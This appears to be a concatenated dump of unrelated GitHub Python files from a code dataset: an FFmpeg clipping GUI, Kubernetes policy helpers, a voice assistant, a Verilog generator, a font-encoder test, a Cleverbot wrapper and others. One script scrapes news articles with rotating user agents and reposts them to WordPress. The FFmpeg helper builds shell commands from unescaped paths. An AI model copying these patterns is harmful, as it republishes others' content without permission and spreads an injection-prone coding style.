video_start_time, screen_shot_save_path):\n ffmpeg_abspath = r'\"' + os.path.abspath(ffmpeg_path).replace('/', '\\\\') + r'\"'\n media_abspath = r'\"' + os.path.abspath(media_path).replace('/', '\\\\') + r'\"'\n screen_shot_save_abspath = r'\"' + os.path.abspath(screen_shot_save_path).replace('/', '\\\\') + r'\"'\n cmd = ffmpeg_abspath + ' -i ' + media_abspath + ' -ss ' + video_start_time + ' -vframes 1 ' + screen_shot_save_abspath\n subprocess.call(cmd, shell=True)\n\n\n# 窗口类\nclass Window(ttk.Frame):\n def __init__(self, ui_json, master=None):\n super().__init__(master)\n # 从json自动设置UI控件\n create_ui(self, ui_json)\n # 从json自动绑定事件\n create_all_binds(self, ui_json)\n self.master.columnconfigure(0, weight=1)\n self.master.rowconfigure(0, weight=1)\n self.grid(row=0, column=0, sticky=(tk.N, tk.S, tk.E, tk.W))\n self.columnconfigure(1, weight=1)\n self.read_config()\n\n def intercept_video_button_callback(self, event=None):\n splitext = os.path.splitext(self.current_video_path.get())[1]\n video_start_time = self.video_start_hour_time.get() + \\\n \":\" + self.video_start_minute_time.get() + \\\n \":\" + self.video_start_second_time.get()\n intercept_time = self.intercept_hour_time.get() + \\\n \":\" + self.intercept_minute_time.get() + \\\n \":\" + self.intercept_second_time.get()\n intercept_video(self.ffmpeg_path.get(), self.current_video_path.get(), video_start_time, intercept_time,\n os.path.join(self.video_save_dir_path.get(), self.video_save_name.get()) + splitext)\n\n def screen_shot_button_callback(self, event=None):\n video_start_time = self.video_start_hour_time.get() + \\\n \":\" + self.video_start_minute_time.get() + \\\n \":\" + self.video_start_second_time.get()\n screen_shot(self.ffmpeg_path.get(), self.current_video_path.get(), video_start_time,\n os.path.join(self.video_save_dir_path.get(), self.video_save_name.get()) + \".png\")\n\n def save_config(self, config_dir):\n with open(\"FFmpegConfig.json\", \"w\") as f:\n json.dump(config_dir, f)\n\n def read_config(self):\n if not os.path.exists(\"FFmpegConfig.json\"):\n return\n with open(\"FFmpegConfig.json\", \"r\") as f:\n config_dir = json.load(f)\n if config_dir and \"ffmpeg_path\" in config_dir:\n self.ffmpeg_path.set(config_dir[\"ffmpeg_path\"])\n\n def ffmpeg_from_button_callback(self, event=None):\n ffmpeg_path = filedialog.askopenfilename()\n if ffmpeg_path:\n self.ffmpeg_path.set(ffmpeg_path)\n config_dir = dict()\n config_dir[\"ffmpeg_path\"] = ffmpeg_path\n self.save_config(config_dir)\n\n def file_from_button_callback(self, event=None):\n video_path = filedialog.askopenfilename()\n if video_path:\n self.current_video_path.set(video_path)\n\n def file_to_button_callback(self, event=None):\n video_save_dir_path = filedialog.askdirectory()\n if video_save_dir_path:\n self.video_save_dir_path.set(video_save_dir_path)\n\n\nif __name__ == '__main__':\n app = Window(\"FFmpegToolUI.json\")\n # 设置窗口标题:\n app.master.title(\"FFmpeg视频截取工具\")\n # 主消息循环:\n app.mainloop()\n","repo_name":"cforth/codefarm","sub_path":"idea-365/D035_FFmpegTool/FFmpegTool.py","file_name":"FFmpegTool.py","file_ext":"py","file_size_in_byte":4243,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"70"} +{"seq_id":"74878234465","text":"from kubernetes import client as k8s\n\nclass SpecFactory(object):\n\t'''\n\tProvides functionality for creating common spec objects for the Kubernetes client API.\n\t'''\n\t\n\t\n\t# Network Policy Specs\n\t\n\t@staticmethod\n\tdef network_policy_dns_only(selector):\n\t\t'''\n\t\tCreates a NetworkPolicy spec for only allowing DNS resolution egress traffic.\n\t\t\n\t\t- `selector` provides the selector that matches the pods to which the network policy will apply.\n\t\t'''\n\t\treturn k8s.V1beta1NetworkPolicySpec(\n\t\t\tegress = [\n\t\t\t\tk8s.V1beta1NetworkPolicyEgressRule(\n\t\t\t\t\tports = [\n\t\t\t\t\t\tk8s.V1beta1NetworkPolicyPort(\n\t\t\t\t\t\t\tport = 53,\n\t\t\t\t\t\t\tprotocol = 'TCP'\n\t\t\t\t\t\t),\n\t\t\t\t\t\tk8s.V1beta1NetworkPolicyPort(\n\t\t\t\t\t\t\tport = 53,\n\t\t\t\t\t\t\tprotocol = 'UDP'\n\t\t\t\t\t\t)\n\t\t\t\t\t]\n\t\t\t\t)\n\t\t\t],\n\t\t\tpod_selector = selector,\n\t\t\tpolicy_types = ['Egress']\n\t\t)\n\t\n\t@staticmethod\n\tdef network_policy_pods_only(selector, destination):\n\t\t'''\n\t\tCreates a NetworkPolicy spec for only allowing egress traffic to other pods.\n\t\t\n\t\t- `selector` provides the selector that matches the pods to which the network policy will apply.\n\t\t- `destination` provides the selector that matches the destination pods to which traffic will be allowed.\n\t\t'''\n\t\treturn k8s.V1beta1NetworkPolicySpec(\n\t\t\tegress = [\n\t\t\t\tk8s.V1beta1NetworkPolicyEgressRule(\n\t\t\t\t\tto = [\n\t\t\t\t\t\tk8s.V1beta1NetworkPolicyPeer(\n\t\t\t\t\t\t\tpod_selector = destination\n\t\t\t\t\t\t)\n\t\t\t\t\t]\n\t\t\t\t)\n\t\t\t],\n\t\t\tpod_selector = selector,\n\t\t\tpolicy_types = ['Egress']\n\t\t)\n\t\n\t\n\t# Port specs\n\t\n\t@staticmethod\n\tdef service_ports_from_container_ports(ports):\n\t\t'''\n\t\tCreates a list of ServicePort objects from a list of ContainerPort objects.\n\t\t'''\n\t\treturn [\n\t\t\tk8s.V1ServicePort(\n\t\t\t\tport = containerPort.container_port,\n\t\t\t\tprotocol = containerPort.protocol\n\t\t\t)\n\t\t\t\n\t\t\tfor containerPort in ports\n\t\t]\n","repo_name":"deepdrive/kubernetes-utils","sub_path":"kubernetes_utils/SpecFactory.py","file_name":"SpecFactory.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"25346026456","text":"def operacion(num):\n try:\n resultado = num +10\n except TypeError:#En caso de que el valor introducido no sea un número imprimimos un error.\n print(\"No es correcto \")\n else:\n print(\"El resultado de la operacción es:\", resultado)\n return\n#Damos dos valores, un valor numerico y un string.\nif __name__==\"__main__\":\n operacion(\"2\")\n operacion(2)","repo_name":"Manoloserranoo/M3_02_Manuel_Serrano_Vallejo","sub_path":"Ejercicio4.py","file_name":"Ejercicio4.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"8578705005","text":"import speech_recognition as sr\r\nimport pyttsx3\r\nimport pywhatkit\r\nimport datetime\r\nimport wikipedia\r\n\r\nlistener = sr.Recognizer() # Receive commands\r\nengine = pyttsx3.init() # For talking\r\nvoices = engine.getProperty('voices') # For female voice\r\nengine.setProperty('voice', voices[1].id) #Setting the female voice from second index,i.e [1]\r\n\r\ndef talk(text): # Whatever I will say alex with repeat that\r\n engine.say(text)\r\n engine.runAndWait()\r\n\r\n\r\ndef take_command():\r\n try:\r\n with sr.Microphone() as source:\r\n print('Hi I am listening...')\r\n voice = listener.listen(source)\r\n command = listener.recognize_google(voice)\r\n command = command.lower()\r\n if 'selin' in command:\r\n command = command.replace('selin', '')\r\n print(command)\r\n except:\r\n pass\r\n return command\r\n\r\n\r\ndef run_Alexa():\r\n command = take_command()\r\n print(command)\r\n if 'play' in command: # if I use word play in my sentence\r\n song = command.replace('play', '') # replacing play while alexa is replaying\r\n talk('playing your song' + song)\r\n pywhatkit.playonyt(song) # playing song on youtube\r\n elif 'time' in command:\r\n time = datetime.datetime.now().strftime('%I:%M %p') # Telling the current time\r\n talk('Now the time is ' + time)\r\n elif 'who is the' in command: # searching on wikipedia\r\n person = command.replace('who is the ', '')\r\n info = wikipedia.summary(person, 1)\r\n print(info)\r\n talk(info)\r\n elif 'what is history' in command: # searching history on wikipedia\r\n place = command.replace('what is the history', '')\r\n info = wikipedia.summary(place, 1)\r\n print(info)\r\n talk(info)\r\n if 'on youtube' in command: # if I use word play in my sentence\r\n info = command.replace('on youtube', '') # replacing play while alexa is replaying\r\n talk('searching....' + info)\r\n pywhatkit.playonyt(song)\r\n else:\r\n talk('Please say the command again.')\r\n\r\n\r\nwhile True:\r\n run_Alexa()\r\n\r\n","repo_name":"s2315/Hi-Alexa","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"17726728045","text":"from typing import Optional\nfrom verilog.core.vspecial import V_Done\nfrom verilog.core.vsyntax import V_FixedPoint\nfrom verilog.core.vtarget import V_Target\nfrom verilog.core.vtypes import BitWidth, V_Block, V_Input, V_Output, V_Wire\nfrom verilog.targets.signed_div import SignedDiv\nfrom verilog.targets.signed_exponential import SignedExponential\n\n\nclass SignedSigmoid(V_Target):\n def __init__(\n self,\n int_width: BitWidth,\n dec_width: BitWidth,\n num_terms: int,\n ):\n # create the div and exponential modules\n self.div = SignedDiv(int_width, dec_width)\n self.exp = SignedExponential(int_width, dec_width, num_terms)\n\n super().__init__(objects=[self.div, self.exp])\n\n self.int_width = int_width\n self.dec_width = dec_width\n self.width = int_width + dec_width\n\n self.input = self.port(V_Input, width=self.width, signed=True)\n self.output = self.port(V_Output, width=self.width, signed=True)\n\n def generate(self) -> V_Block:\n exp_done = self.add_var(self.done, dtype=V_Wire, name=\"exp_done\")\n\n exp_output = self.add_var(self.input, name=\"exp_output\")\n\n return V_Block(\n \"// instantiate the exponential module\",\n *self.exp(\n self,\n self.clk,\n self.reset,\n self.valid,\n (exp_done, self.exp.done),\n (-self.input, self.exp.input_ports[0]),\n (exp_output, self.exp.output_ports[0])\n ),\n\n f\"\\n// instantiate the div module\",\n *self.div(\n self,\n self.clk,\n self.reset,\n\n # input is valid when `self.exp` is done\n (exp_done, self.div.valid),\n\n # this module is done when `self.div` is done\n self.done,\n (V_FixedPoint(1, self.int_width, self.dec_width),\n self.div.dividend),\n (exp_output + V_FixedPoint(1, self.int_width,\n self.dec_width), self.div.divisor),\n (self.output, self.div.quotient)\n )\n )\n","repo_name":"jfw225/verython","sub_path":"src/python/verilog/targets/signed_sigmoid.py","file_name":"signed_sigmoid.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"5566088086","text":"#!/usr/bin/env python3\n#-*-coding : utf-8 -*-\nfrom bs4 import BeautifulSoup\nfrom wordpress_xmlrpc import Client,WordPressPost\nfrom wordpress_xmlrpc.compat import xmlrpc_client\nfrom wordpress_xmlrpc.methods import media, posts\nfrom wordpress_xmlrpc.methods.posts import GetPosts,NewPost\nfrom wordpress_xmlrpc.methods.users import GetUserInfo\nfrom email.mime.text import MIMEText\nfrom email.header import Header\nimport re\nimport time\nimport smtplib\nimport traceback\nimport os,random\nimport requests\nimport sys\nfrom conf import *\nfrom myutils import *\n\nuser_agents=load_user_agent()\n\n#新闻类\nclass News(object):\n\tdef __init__(self,title,tags,category,content,image_name):\n\t\tself.title = title #标题\n\t\tself.tags=tags #标签\n\t\tself.category=category #分类\n\t\tself.content=content #内容\n\t\tself.image_name=image_name\n\n\n#设置请求头\ndef setHeader(url):\n\t#抽取URL中的主机名\n\thost=getHost(url)\n\tlength = len(user_agents)\n\tindex=random.randint(0,length-1)\n\tuser_agent = user_agents[index]\n\theaders={\n\t\t'Referer': url,\n\t\t'Host':host,\n\t\t'User-Agent':user_agent,\n\t\t'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'\n\t}\n\treturn headers\n\n\n#获取最新的新闻链接列表\n\n'''\nurl :需要抓取的网址\nn :获取链接的数量,即每次需要发布新文章的数量\nlinks:返回链接列表\n'''\ndef get_urls(url,classname,restr,n=1):\n\tlinks=[]\n\theaders=setHeader(url)\n\tbsObj=requests.session()\n\tbsObj=BeautifulSoup(bsObj.get(url,headers=headers).content,'html.parser')\n\t#print(bsObj.find('div',{'class':classname}))\n\tfor link in bsObj.find('div',{'class':classname}).findAll('a')[0:n]:\n\t\tif 'href' in link.attrs:\n\t\t\thref=link.attrs['href']\n\t\t\t#print(href)\n\t\t\tif href.startswith('//'):\n\t\t\t\thref='http:'+href\n\t\t\telif href.startswith('/'):\n\t\t\t\thref=url+href\n\t\t\tif re.match(restr,href):\n\t\t\t\tlinks.append(href)\n\treturn links\n\n\n\ndef get_news(url,link,classname):\n\theaders=setHeader(url)\n\tbsObj=requests.session()\n\tart=bsObj.get(link,headers=headers)\n\t#print(art.status_code)\n\tbsObj=BeautifulSoup(art.content,'html.parser')\n\ttit=bsObj.h1\n\tif tit!=None:\n\t\ttitle=tit.get_text()\n\telse:\n\t\ttitle=bsObj.title.get_text()\n\tprint(title)\n\ttags_list=bsObj.find('meta',{'name':'keywords'}).attrs['content']\n\t#print(tags_list)\n\tl=re.split(',',tags_list)\n\ttags=[item for item in filter(lambda x:x != '', l)]\n\tcategory=\"其他\"\n\tcontent=bsObj.find('div',{'class':classname})\n\t#查找图片\n\ta_tag=content.find('img')\n\tif a_tag!=None and a_tag.attrs['src']!='':\n\t\timage_url=a_tag.attrs['src']\n\t\timage_name=os.path.basename(image_url).split('!')[0]\n\t\tprint(image_url)\n\t\t#下载图片\n\t\tget_image(image_url,image_name)\n\t\t#删除标签\n\t\ta_tag.extract()\n\telse:\n\t\timage_name=''\n\tnews=News(title,tags,category,content.prettify(),image_name)\n\treturn news\n\n#发送新闻到wordpress\n\n'''\nuser:用户对象\nnews:新闻对象\n'''\n\ndef send_news(user,news):\n\twp=Client(user.website,user.username,user.password)\n\tpost=WordPressPost()\n\tif news.image_name!='':\n\t\tattachment_id=upload_image(news.image_name,wp)\n\t\tpost.thumbnail = attachment_id\n\tpost.title=news.title\n\tpost.content=news.content\n\tpost.post_status ='publish'\n\tpost.terms_names={\n\t\t'post_tag':news.tags,\n\t\t'category':[news.category]\n\t}\n\twp.call(NewPost(post))\n\n\nuser=readUserConf()\nl=getConf()\nif len(l)==0:\n\tprint('对不起,还没有配置抓取的站点信息')\n\tsys.exit()\nfor conf in l:\n\turl=conf.url\n\tclassname=conf.urltag\n\tnewstag=conf.newstag\n\trestr=conf.restr\n\tulist=get_urls(url,classname,restr,1)\n\tfor ul in ulist:\n\t\tprint(ul)\n\t\ttry:\n\t\t\tnews=get_news(url,ul,newstag)\n\t\t\twrite_file(news.title+'\\n')\n\t\t\tsend_news(user,news)\n\t\t\ttime.sleep(5)\n\t\texcept Exception as e:\n\t\t\tm=traceback.format_exc()\n\t\t\tprint(m)\n\t\t\tsend_email(m)\n\t\t\tprint('抓取失败:'+ul)\n\t\t\tcontinue","repo_name":"MagicDu/mywpspider","sub_path":"wpspider.py","file_name":"wpspider.py","file_ext":"py","file_size_in_byte":3764,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"70"} +{"seq_id":"8388869014","text":"#!/usr/bin/env python3\n\nimport tensorflow as tf\nphysical_devices = tf.config.list_physical_devices('GPU')\ntry:\n tf.config.experimental.set_memory_growth(physical_devices[0], True)\nexcept:\n # Invalid device or cannot modify virtual devices once initialized.\n pass\n\nimport numpy as np\nimport os, time, csv, copy, glob\nimport tqdm\nimport datetime\nimport random\nimport subprocess\nfrom PIL import Image\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nfrom matplotlib import rcParams\nrcParams['font.family'] = 'sans-serif'\nrcParams['font.sans-serif'] = ['Hiragino Maru Gothic Pro', 'Yu Gothic', 'Meirio', 'Takao', 'IPAexGothic', 'IPAPGothic', 'Noto Sans CJK JP']\n\nimport net\n\ndef sub_load(args):\n proc = subprocess.Popen([\n './data/load_font/load_font',\n args[0],\n '96',\n ], stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n\n ret = {}\n for c in args[1]:\n charbuf = c.encode(\"utf-32-le\")\n proc.stdin.write(charbuf[:4])\n proc.stdin.flush()\n result = proc.stdout.read(48)\n\n rows = int.from_bytes(result[:8], 'little')\n width = int.from_bytes(result[8:16], 'little')\n left = int.from_bytes(result[16:24], 'little', signed=True)\n top = int.from_bytes(result[24:32], 'little', signed=True)\n advance_x = int.from_bytes(result[32:40], 'little', signed=True)\n advance_y = int.from_bytes(result[40:48], 'little', signed=True)\n\n if rows == 0 or width == 0:\n continue\n\n buffer = proc.stdout.read(rows*width)\n img = np.frombuffer(buffer, dtype='ubyte').reshape(rows,width)\n \n ret[(args[0],c)] = {\n 'rows': rows, \n 'width': width, \n 'left': left,\n 'top': top,\n 'advx': advance_x / 64,\n 'image': img\n }\n proc.stdin.close()\n return ret\n\ndef sub_load_image(path):\n dirnames = glob.glob(os.path.join(path, '*'))\n ret = {}\n for d in dirnames:\n c_code = os.path.basename(d)\n char = str(bytes.fromhex(c_code), 'utf-8')\n count = 0\n for f in glob.glob(os.path.join(d, '*.png')):\n rawim = np.asarray(Image.open(f).convert('L'))\n ylines = np.any(rawim < 255, axis=1)\n content = np.where(ylines)[0]\n rows = content[-1] - content[0] + 1\n top = 128 - 16 - content[0]\n y = content[0]\n xlines = np.any(rawim < 255, axis=0)\n content = np.where(xlines)[0]\n width = content[-1] - content[0] + 1\n left = content[0] - 16\n x = content[0]\n\n if rows == 0 or width == 0:\n continue\n\n img = 255 - rawim[y:y+rows,x:x+width]\n\n ret[('hand%06d'%count,char)] = {\n 'rows': rows, \n 'width': width, \n 'left': left,\n 'top': top,\n 'advx': 96.0,\n 'image': img\n }\n count += 1\n return ret\n\ndef random_lineimage():\n width = 1024\n height = 1024\n img = np.zeros([width, height])\n\n for _ in range(100):\n th = random.random() * np.pi\n x0 = random.randrange(0, width)\n y0 = random.randrange(0, height)\n\n for d in range(max(width,height)):\n x = int(d * np.cos(th) + x0)\n y = int(d * np.sin(th) + y0)\n if x < 0 or x >= width or y < 0 or y >= height:\n break\n img[y, x] = 255\n \n for d in range(max(width,height)):\n x = int(d * np.cos(th + np.pi) + x0)\n y = int(d * np.sin(th + np.pi) + y0)\n if x < 0 or x >= width or y < 0 or y >= height:\n break\n img[y, x] = 255\n\n return img\n\nclass SimpleEncodeDecoder:\n def __init__(self):\n encoder_dir = './result/encoder/'\n if os.path.exists(encoder_dir):\n self.encoder = tf.keras.models.load_model(encoder_dir)\n self.encoder.summary()\n else:\n checkpoint_dir = 'result/step1/'\n\n self.encoder = net.FeatureBlock()\n self.encoder.summary()\n self.decoder = net.SimpleDecoderBlock()\n self.decoder.summary()\n inputs = {\n 'image': tf.keras.Input(shape=(128,128,3)),\n }\n feature_out = self.encoder(inputs)\n outputs = self.decoder(feature_out)\n self.model = tf.keras.Model(inputs, outputs, name='SimpleEncodeDecoder')\n checkpoint = tf.train.Checkpoint(model=self.model)\n\n last = tf.train.latest_checkpoint(checkpoint_dir)\n checkpoint.restore(last).expect_partial()\n\n if not last is None:\n self.init_epoch = int(os.path.basename(last).split('-')[1])\n print('loaded %d epoch'%self.init_epoch)\n else:\n self.init_epoch = 0\n\n self.model.summary()\n\n self.target_font = 'data/jpfont/ipaexm.ttf'\n self.handimg_cache = {}\n self.handimg_cache.update(sub_load_image('data/handwritten'))\n\n self.random_noise = [random_lineimage() for _ in range(10)]\n\n def run_encode(self, glyph, hand=False):\n if not hand:\n img_cache = sub_load([self.target_font, glyph])\n width = 128\n height = 128\n fontsize = 96\n\n for g in glyph:\n min_pixel = int(fontsize * 0.9)\n max_pixel = int(fontsize * 1.1)\n tile_size = random.randint(min_pixel, max_pixel)\n\n image = np.zeros([height, width], dtype=np.float32)\n\n angle = 7.5 * np.random.normal() / 180 * np.pi\n angle = np.clip(angle, -np.pi, np.pi)\n pad_x = np.random.normal() * width * 0.02\n pad_y = np.random.normal() * height * 0.02\n\n if not g.isspace():\n if hand:\n item = random.choice([self.handimg_cache[x] for x in self.handimg_cache if x[1] == g])\n else:\n item = img_cache[(self.target_font, g)]\n ratio = tile_size / fontsize\n if item['width'] * ratio > width:\n ratio = width / item['width']\n if item['rows'] * ratio > height:\n ratio = height / item['rows']\n w = max(1, int(item['width'] * ratio))\n h = max(1, int(item['rows'] * ratio))\n t = item['top'] * ratio\n l = item['left'] * ratio\n\n margin = (width - fontsize) / 2\n pad_x = np.clip(pad_x, -(margin + l), width - w - l - margin)\n pad_y = np.clip(pad_y, -(height - (margin + t)), margin - (h - t))\n\n im = np.asarray(Image.fromarray(item['image']).resize((w,h)))\n tile_top = min(max(0, int(height - margin - t)), height - h)\n tile_left = min(max(0, int(margin + l)), width - w)\n image[tile_top:tile_top+h,tile_left:tile_left+w] = im[:h,:w]\n im = Image.fromarray(image).rotate(angle / np.pi * 180, resample=Image.BILINEAR, translate=(pad_x, pad_y))\n\n if random.random() < 0.5:\n im = np.maximum(im, (np.random.random([height, width]) < 0.1) * 255)\n if random.random() < 0.5:\n x = random.randrange(0, self.random_noise[0].shape[1] - 128)\n y = random.randrange(0, self.random_noise[0].shape[0] - 128)\n im = np.maximum(im, random.choice(self.random_noise)[y:y+128,x:x+128])\n\n image = np.asarray(im) / 255.\n\n img = image[...,np.newaxis]\n if random.uniform(0.,1.) < 0.5:\n fg_c = random.uniform(-1., 1.)\n bk_c = random.uniform(-1., 1.)\n if abs(fg_c - bk_c) < 1.0:\n d = fg_c - bk_c\n if d < 0:\n d = -1.0 - d\n else:\n d = 1.0 - d\n fg_c += d / 2\n bk_c -= d / 2\n fgimg = np.array([fg_c,fg_c,fg_c]).reshape(1,1,1,-1)\n bkimg = np.array([bk_c,bk_c,bk_c]).reshape(1,1,1,-1)\n else:\n fg_c = np.random.uniform(-1., 1., size=[3])\n bk_c = np.random.uniform(-1., 1., size=[3])\n if np.all(np.abs(fg_c - bk_c) < 1.0):\n ind = np.argmax(np.abs(fg_c - bk_c))\n d = (fg_c - bk_c)[ind]\n if d < 0:\n d = -1.0 - d\n else:\n d = 1.0 - d\n fg_c += d / 2\n bk_c -= d / 2\n fgimg = fg_c.reshape(1,1,1,-1)\n bkimg = bk_c.reshape(1,1,1,-1)\n fgimg = fgimg + np.random.normal(size=[1, height, width, 3]) * random.gauss(0., 0.1)\n bkimg = bkimg + np.random.normal(size=[1, height, width, 3]) * random.gauss(0., 0.1)\n fgimg = fgimg.astype(np.float32)\n bkimg = bkimg.astype(np.float32)\n image = fgimg * img + bkimg * (1 - img)\n image = np.clip(image, -1., 1.)\n image = image * 127.5 + 127.5\n\n embedded = self.encoder(image)\n embedded = embedded.numpy().reshape([16,-1])\n print(embedded.max(), embedded.min())\n print(g)\n\n plt.subplot(1,2,1)\n plt.imshow(embedded, interpolation='none', vmin=-5, vmax=5, aspect='equal')\n plt.title(g)\n plt.subplot(1,2,2)\n plt.imshow(image[0,...] / 255., aspect='equal')\n lastfile = sorted(glob.glob('test-*.png'))\n if lastfile:\n i = int(os.path.splitext(lastfile[-1])[0].split('-')[1]) + 1\n else:\n i = 0\n plt.savefig('test-%08d.png'%i, bbox_inches='tight', pad_inches=0)\n plt.close('all')\n\n\ndef test_model():\n encoder = SimpleEncodeDecoder()\n\n while True:\n val = input('Enter input text: ')\n if not val:\n break\n\n encoder.run_encode(val)\n\ndef test_handwritten():\n encoder = SimpleEncodeDecoder()\n\n while True:\n val = input('Enter input text: ')\n if not val:\n break\n\n encoder.run_encode(val, hand=True)\n\nif __name__ == '__main__':\n import sys\n\n if len(sys.argv) < 2:\n test_model()\n elif sys.argv[1] == 'hand':\n test_handwritten()\n else:\n test_model()\n","repo_name":"lithium0003/Image2UTF8-Transformer","sub_path":"test_encoder.py","file_name":"test_encoder.py","file_ext":"py","file_size_in_byte":10544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"6699094492","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport requests\nimport urllib\n\nclass Cleverbot(object):\n \"\"\"Handles a conversation with Cleverbot.\n http://www.cleverbot.com/apis\n \"\"\"\n def __init__(self, key, q='Hola'):\n self.HOST = \"www.cleverbot.com\"\n\n self.PROTOCOL = \"https://\"\n self.RESOURCE = \"/getreply\"\n\n self.key = key\n self.inital_q = urllib.quote_plus(q)\n\n self.SERVICE_URL = self.PROTOCOL + self.HOST + self.RESOURCE + \"?key=\" + self.key + \"&input=\" + self.inital_q\n r = requests.get(self.SERVICE_URL)\n content = r.json()\n self.cs = content['cs']\n self.conversation_id = content['conversation_id']\n self.session = requests.Session()\n\n def ask(self, q):\n question = urllib.quote_plus(q.strip().encode('utf8'))\n url = self.SERVICE_URL + \"&input=\" + question + \"&cs=\" + self.cs\n\n r = requests.get(url).json()\n return r['output']\n\n","repo_name":"cristopher29/WaBot","sub_path":"app/clever/clever.py","file_name":"clever.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"3150691350","text":"# https://programmers.co.kr/learn/courses/30/lessons/43163\n\n\ndef solution(begin, target, words):\n words.insert(0, begin)\n word_len = len(begin)\n _len = len(words)\n DB = [[0] * _len for _ in range(_len)]\n # 전처리\n for i in range(_len):\n origin = words[i]\n for j in range(_len):\n if i == j:\n DB[i][j] = 1\n else:\n check = words[j]\n dif = 0\n for ch in range(word_len):\n if origin[ch] != check[ch]:\n dif += 1\n if dif >= 2:\n break\n if dif == 1:\n DB[i][j] = 1\n # BFS 돌자\n visited = [0] * _len\n que = list()\n que.append((0, 0))\n while que:\n check, depth = que.pop(0)\n # print(words[check], depth)\n if words[check] == target:\n return depth\n for i in range(_len):\n if check != i and DB[check][i] and not visited[i]:\n que.append((i, depth + 1))\n visited[i] = 1\n return 0\n\n\nprint(solution(\"hit\", \"cog\", [\"hot\", \"dot\", \"dog\", \"lot\", \"log\"]))\n# print(solution(\"hit\", \"cog\", [\"hot\", \"dot\", \"dog\", \"lot\", \"log\", \"cog\"]))\n","repo_name":"porciuscato/study_algorithm","sub_path":"programmers/43163_단어변환.py","file_name":"43163_단어변환.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"9668580027","text":"from . import views\nfrom django.urls import path\n\n\nurlpatterns = [\n path('', views.get_index, name='home'),\n path('recipes/', views.RecipeList.as_view(), name='recipes_list'),\n path('recipes//', views.RecipeDetail.as_view(),\n name='recipe_detail'),\n path('bookmark/', views.RecipeBookmark.as_view(),\n name=\"recipe_bookmark\"),\n path('cookbook/', views.get_cookbook, name='cookbook_list'),\n path('cookbook/', views.BookmarkRemove.as_view(),\n name='remove_bookmark'),\n]\n","repo_name":"thomasstrassmann/ingredient5","sub_path":"recipes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26688312401","text":"import pandas as pd\n\n\nclass Dimension:\n def __init__(self, name):\n self.name = name\n self.factors = []\n\n\nclass Factor:\n def __init__(self, name):\n self.name = name\n self.decisor_importance = 1\n self.suggested_importance = 1\n self.relative_importance = 1\n self.relevant = False\n self.global_weigth = 1\n self.subfactors = []\n self.dimension = None\n self.scope = \"\"\n\n\nclass Subfactor:\n def __init__(self, name):\n self.name = name\n self.weight = 1\n self.factor = None\n\n\nclass Guiosad():\n levels_lbls = [\"Irrelevante\", \"Opcional\", \"Importante\", \"Fundamental\"]\n sub_levels_lbls = [\"No cumple el requisito\", \"Desconozco si cumple requisito\", \"Cumple parcialmente el requisito\", \"Cumple el requisito\"]\n scope_levels = [\"Interno\", \"Externo\", \"Ambos\"]\n foda_levels = [\"Fortaleza\", \"Oportunidad\", \"Debilidad\", \"Amenaza\"]\n def __init__(self):\n self.data = []\n self.subfactors_list = []\n self.guiosad_data = pd.read_csv(filepath_or_buffer=\"guiosad_data.csv\", sep=\"\\t\")\n self.factors_data = pd.read_csv(filepath_or_buffer=\"factors.csv\", sep=\"\\t\")\n self.dimensions = []\n self.factors = []\n self.factors_lbls = []\n self.subfactors = []\n dims = self.guiosad_data[\"Dimensión\"].unique().tolist()\n for d in dims:\n dimension = Dimension(name=d)\n df_dim = self.guiosad_data[self.guiosad_data[\"Dimensión\"] == d]\n factors_dim = df_dim[\"Factor\"].unique().tolist()\n for f in factors_dim:\n fdict = {\n \"name\":f,\n \"IS\":1,\n \"ID\":1,\n \"IR\":1,\n \"relevant\":True,\n \"subfactors\":[],\n \"global\":1,\n \"scope\":\"Interno\",\n \"foda\":\"Debilidad\"\n }\n factor = Factor(name=f)\n df_factor = df_dim[df_dim[\"Factor\"] == f]\n subfactors_factor = df_factor[\"Subfactor\"].to_list()\n self.subfactors_list.append(subfactors_factor)\n subfactores = []\n for s in subfactors_factor:\n subfactor = Subfactor(name=s)\n subfactor.factor = factor\n factor.subfactors.append(subfactor)\n self.subfactors.append(subfactor)\n\n sbf = {\n \"name\":s,\n \"weight\":1\n }\n subfactores.append(sbf)\n\n fdict[\"subfactors\"] = subfactores\n\n self.data.append(fdict)\n\n dimension.factors.append(factor)\n factor.dimension = dimension\n suggested_importance = self.factors_data[self.factors_data[\"Factor\"] == f][\"Sugerida\"].to_list()[0]\n factor.suggested_importance = suggested_importance\n scope = self.factors_data[self.factors_data[\"Factor\"] == f][\"Alcance\"].to_list()[0]\n factor.scope = scope\n self.factors.append(factor)\n self.factors_lbls.append(factor.name)\n self.dimensions.append(dimension)\n\n def get_suggested_importances(self):\n importances = []\n for f in self.factors:\n importances.append(f.suggested_importance)\n return importances\n\n def get_scopes(self):\n scopes = []\n for f in self.factors:\n scopes.append(f.scope)\n return scopes\n\n def assigment_function(input1, input2):\n value1 = Guiosad.levels_lbls.index(input1)\n value2 = Guiosad.levels_lbls.index(input2)\n result = (value1 + value2)//2\n return Guiosad.levels_lbls[result]\n\n def relevant(self, input1, input2):\n 